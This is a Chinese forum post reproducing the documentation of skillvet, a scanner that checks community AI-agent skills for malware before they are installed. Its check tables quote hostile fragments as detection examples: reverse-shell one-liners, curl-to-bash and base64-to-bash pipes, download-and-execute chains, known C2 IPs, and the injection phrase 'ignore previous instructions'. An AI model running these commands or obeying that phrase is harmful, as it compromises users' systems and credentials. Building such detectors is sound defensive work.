OA0 = Omni AI 0
OA0 是一个探索 AI 的论坛
现在注册
已注册用户请  登录
OA0  ›  技能包  ›  skillvet:针对 ClawHub 社区技能的恶意代码检测扫描器扫描器

skillvet:针对 ClawHub 社区技能的恶意代码检测扫描器扫描器

 
  index ·  2026-02-24 22:31:40 · 2 次点击  · 0 条评论  

名称: skillvet
描述: "ClawHub/community 技能安全扫描器 — 在安装前检测恶意软件、凭证窃取、数据外泄、提示词注入、混淆、同形异义攻击、ANSI 注入、特定攻击活动模式等。适用于从 ClawHub 或任何公共市场安装技能时、审查第三方智能体技能安全性、或在将不受信任的代码交给你的 AI 智能体前进行审查。触发词:安装技能、审计技能、检查技能、审查技能、技能安全、安全安装、此技能是否安全。"
compatibility: "需要 bash、grep、find 和 file(标准 POSIX)。safe-install.sh 和 scan-remote.sh 需要 clawdhub CLI。建议在 macOS 上使用 perl 或 ggrep(Homebrew GNU grep)以获得完整的 Unicode 正则表达式支持。"
元数据:
version: "2.0.9"
author: oakencore


Skillvet

智能体技能安全扫描器。包含 48 项关键检查,8 项警告检查。无依赖 — 仅需 bash 和 grep。包含受 Tirith 启发的检测模式,以及来自 Koi SecurityBitdefenderSnyk1Password ClickFix 模式的攻击活动签名。

使用方法

安全安装(安装、审计、若发现关键问题则自动移除):

bash skills/skillvet/scripts/safe-install.sh <技能别名>

审计已安装的技能:

bash skills/skillvet/scripts/skill-audit.sh skills/某个技能

审计所有已安装的技能:

for d in skills/*/; do bash skills/skillvet/scripts/skill-audit.sh "$d"; done

JSON 输出(用于自动化):

bash skills/skillvet/scripts/skill-audit.sh --json skills/某个技能

SARIF 输出(用于 GitHub 代码扫描 / VS Code):

bash skills/skillvet/scripts/skill-audit.sh --sarif skills/某个技能

摘要模式(每个技能一行输出):

bash skills/skillvet/scripts/skill-audit.sh --summary skills/某个技能

详细模式(调试:显示运行的检查项和扫描的文件):

bash skills/skillvet/scripts/skill-audit.sh --verbose skills/某个技能

远程扫描技能(无需安装):

bash skills/skillvet/scripts/scan-remote.sh <技能别名>

差异扫描(仅扫描版本间的变更):

bash skills/skillvet/scripts/diff-scan.sh 路径/旧版本 路径/新版本

退出代码:0 安全,1 仅警告,2 发现关键问题。

高级选项

标志 描述
--json 为 CI/仪表板输出 JSON
--sarif 为 GitHub 代码扫描输出 SARIF v2.1.0 格式
--summary 每个技能输出一行摘要
--verbose 显示运行的检查项和扫描的文件
--exclude-self 扫描自身源码目录时跳过
--max-file-size N 跳过大于 N 字节的文件
--max-depth N 限制目录遍历深度

抑制误报

在技能目录中创建 .skillvetrc 文件以禁用特定检查:

# 禁用检查 #4(混淆)和 #20(短链接)
disable:4
disable:20

或在代码行内添加注释以抑制单行警告:

const url = "https://bit.ly/legit-link"; // skillvet-ignore

预提交钩子

安装 git 预提交钩子,在提交前自动扫描技能:

ln -sf ../../scripts/pre-commit-hook .git/hooks/pre-commit

风险评分

每个发现项都有一个严重性权重(1-10)。聚合风险评分包含在 JSON、SARIF 和摘要输出中。分数越高表示模式越危险:

  • 10: 反向 Shell、已知 C2 IP
  • 9: 数据外泄、管道到 Shell、持久化+网络、ClickFix、base64 执行
  • 7-8: 凭证窃取、混淆、路径遍历、定时炸弹
  • 4-6: Punycode、同形异义字符、ANSI 注入、短链接
  • 2-3: 子进程执行、网络请求、文件写入

关键检查(自动拦截)

核心安全检查(1-24)

# 检查项 示例
1 已知外泄端点 webhook.site, ngrok.io, requestbin
2 批量环境变量收集 printenv \|, ${!*@}
3 外部凭证访问 脚本中的 ANTHROPIC_API_KEY, TELEGRAM_BOT_TOKEN
4 代码混淆 base64 解码、十六进制转义、动态代码生成
5 路径遍历 / 敏感文件 ../../, ~/.ssh, ~/.clawdbot
6 通过 curl/wget 外泄数据 带变量的 curl --data, wget --post
7 反向/绑定 Shell /dev/tcp/, nc -e, socat
8 .env 文件窃取 脚本(非文档)中的 dotenv 加载
9 Markdown 中的提示词注入 SKILL.md 中的 "ignore previous instructions"
10 LLM 工具利用 发送/邮件传递密钥的指令
11 智能体配置篡改 写入/修改 AGENTS.md, SOUL.md, clawdbot.json
12 Unicode 混淆 零宽字符、RTL 覆盖、双向控制字符
13 可疑的安装命令 SKILL.md 中管道到 bash 的 curl
14 社会工程学 下载外部二进制文件、粘贴并运行的指令
15 包含的 .env 文件 技能中存在的 .env 文件(非 .example)
16 同形异义 URL (Tirith) 主机名中的西里尔字母 i 与拉丁字母 i
17 ANSI 转义序列 (Tirith) 代码/数据文件中的终端转义码
18 Punycode 域名 (Tirith) xn-- 前缀的 IDN 编码域名
19 双重编码路径 (Tirith) %25XX 百分号编码绕过
20 短链接 (Tirith) bit.ly, t.co, tinyurl.com 隐藏目标
21 管道到 Shell curl \| bash(HTTP 和 HTTPS)
22 字符串构造规避 String.fromCharCode, getattr, 动态调用组装
23 数据流链分析 同一文件读取密钥、编码、并发送网络请求
24 定时炸弹检测 Date.now() > timestamp, setTimeout(fn, 86400000)
25 已知 C2/IOC IP 阻止列表 91.92.242.30, 54.91.154.110(已知 AMOS C2 服务器)
26 密码保护的归档文件 "使用密码解压:openclaw" — 防病毒规避
27 粘贴服务载荷 glot.io, pastebin.com 托管恶意脚本
28 GitHub Releases 二进制下载 指向 GitHub 上 .zip/.exe 的虚假先决条件
29 Base64 管道到解释器 echo '...' \| base64 -D \| bash — 主要 macOS 攻击向量
30 子进程 + 网络命令 Python/JS 代码中隐藏的管道到 Shell
31 虚假 URL 误导 (警告) 真实载荷前的诱饵 URL
32 进程持久化 + 网络 nohup curl ... & — 具有网络访问权限的后门
33 虚假先决条件模式 "先决条件" 部分包含可疑的外部下载
34 xattr/chmod 投放器 macOS Gatekeeper 绕过:下载、xattr -cchmod +x、执行
35 ClickFix 下载+执行链 curl -o /tmp/x && chmod +x && ./x,带下载的 open -a
36 可疑的包源 pip install git+https://...,来自非官方注册表的 npm
37 分阶段安装程序模式 虚假依赖名称如 openclaw-core, some-lib
38 虚假操作系统更新社会工程学 "需要 Apple 软件更新以确保兼容性"
39 已知恶意 ClawHub 参与者 zaycv, Ddoy233, Sakaen736jih, Hightower6eu 引用
40 Bash /dev/tcp 反向 Shell bash -i >/dev/tcp/IP/PORT 0>&1(AuthTool 模式)
41 Nohup 后门 nohup bash -c '...' >/dev/null 带网络命令
42 Python 反向 Shell socket.connect + dup2, pty.spawn('/bin/bash')
43 终端输出伪装 恶意载荷前的诱饵 "downloading..." 消息
44 凭证文件访问 直接读取 .env, .pem, .aws/credentials
45 TMPDIR 载荷暂存 AMOS 模式:将恶意软件放入 $TMPDIR 后执行
46 GitHub raw 内容执行 curl raw.githubusercontent.com/... \| bash
47 Echo 编码载荷 长 base64 字符串通过 echo 管道到解码器
48 仿冒技能名称 clawdhub-helper, openclaw-cli, skillvet1

警告检查(标记以供审查)

# 检查项 示例
W1 未知的外部工具要求 安装说明中的非标准 CLI 工具
W2 子进程执行 child_process, execSync, spawn, subprocess
W3 网络请求 axios, fetch, requests 导入
W4 压缩/打包文件 首行 >500 字符 — 无法审计
W5 文件系统写入操作 writeFile, open('w'), fs.append
W6 不安全传输 curl -k, verify=False — 禁用 TLS
W7 Docker 不受信任的注册表 非标准镜像源

扫描的文件类型

.md, .js, .ts, .tsx, .jsx, .py, .sh, .bash, .rs, .go, .rb, .c, .cpp, .json, .yaml, .yml, .toml, .txt, .env*, Dockerfile*, Makefile, pom.xml, .gradle

二进制文件自动跳过。符号链接会被跟踪。

可移植性

适用于 Linux 和 macOS。Unicode 检查(#12, #16, #17)在可用时使用 grep -P,在没有 Perl 兼容正则表达式(如标准 macOS)的系统上回退到 perl。如果两者都不可用,则静默跳过这些检查。

IOC 更新

检查 #25 中的 C2 IP 阻止列表基于以下来源的已知指标:
- Koi Security 报告(2026 年 2 月)
- The Hacker News 报道
- OpenSourceMalware 分析

要更新 IOC,请编辑 scripts/patterns.b64 中的 KNOWN_IPS 条目(base64 编码的正则表达式模式)。

CI/CD 集成

GitHub Actions

包含 .github/workflows/test.yml — 在推送/PR 时在 Ubuntu 和 macOS 上运行测试套件。

GitHub 代码扫描(SARIF)

- name: 运行 skillvet
  run: bash scripts/skill-audit.sh --sarif skills/某个技能 > results.sarif || true

- name: 上传 SARIF
  uses: github/codeql-action/upload-sarif@v3
  with:
    sarif_file: results.sarif

局限性

仅限静态分析。提示词注入模式以英文为中心。压缩的 JS 会被标记但不会反混淆。干净的扫描提高了安全门槛,但不能保证绝对安全。

扫描器在审计自身时会标记自己 — 其自身的模式包含它检测的字符串。在 CI 中使用 --exclude-self 来跳过自扫描。

2 次点击  ∙  0 人收藏  
登录后收藏  
目前尚无回复
0 条回复
About   ·   Help   ·    
OA0 - Omni AI 0 一个探索 AI 的社区
沪ICP备2024103595号-2
Developed with Cursor